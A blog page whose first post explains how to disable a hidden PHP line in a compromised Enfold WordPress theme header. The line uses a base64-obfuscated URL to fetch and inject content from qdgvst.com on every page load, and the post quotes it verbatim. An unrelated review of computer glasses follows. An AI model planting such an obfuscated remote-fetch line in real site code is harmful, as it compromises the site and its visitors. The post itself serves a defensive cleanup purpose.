FIXED: Enfold theme error – sneaky connection to qdgvst.com

qdgvst.comDid your website randomly start showing a 404 not found error?  Are you using wordpress and the “Enfold” theme?  If the answer to both of these questions is yes, then this fix is for you.

The enfold theme has a sneaky bit of code on line 70 of header.php.  It’s the line where the <body> tag is written to the output.  It looks like this…

[php htmlscript=”true” wraplines=”true” firstline=”70″]
<body id="top" <?php body_class($style." ".$avia_config[‘font_stack’]." ".$blank); ?>><?php
$ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode(‘aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA=’));
curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch); ?>
[/php]

Notice the base64_decode function.  After execution, it returns “http://qdgvst.com/l.php” which may look familiar.  Not to worry!  This is a simple fix!

  1. Open your wordpress admin site at http://your-site.com/wp-admin/.
  2. Log in and go to “Appearance > Editor”.
  3. On the right side of the page, make sure you have selected the “Enfold” theme.SelectTheme
  4. On the right side of the page, click on “Header – Header.php”.Header
  5. Scroll down to line 70 and add comments around the PHP CURL code.  When you are done it should look like this…
    [php htmlscript=”true” wraplines=”true” firstline=”70″]
    <body id="top" <?php body_class($style." ".$avia_config[‘font_stack’]." ".$blank); ?>><?php
    /* $ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode(‘aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA=’));
    curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch); */ ?>
    [/php]
  6. Click the “Update File” button at the bottom.

Done!  Not only will this fix the ugly header showing up on your site but it should improve performance a bit as well since your theme won’t be reaching out to another server all the time.

Computer Glasses for the Masses

I bought a pair of Gunnar Emissary glasses off of Amazon for $65.  I work on the computer all day long and often suffered from eyestrain.  I’ve tried multiple lighting setups from the office environment with florescents to working at home with natural light from the windows.  Natural light coming in from the side was by far the best option but it didn’t completely eliminate eye strain for me.  I have a timer on my computer to help me remember to rest my eyes.  Even when I was consistent I would still end the day with some eye strain.

The glasses came in the mail and I tried them on.  Not the best looking design but they are ok for work.  My wife tried them on and said, “Wow!  My headache immediately left!”  I didn’t know if I really believed that so I worked my first day with them.  I thought to myself, “My eyes feel good.  I wonder if I’m just talking myself into liking them since I’ve already spent the money?”  After using them for about a week, I’m totally sold.  My eyes feel so much better at the end of each day.

I think these were just what I needed.  Eyestrain can be caused by a number of factors so they may not be the best solution for everyone but they certainly have worked well for me. While they did not help to address dryness at all my eyes still feel quite a bit better at the end of the work day.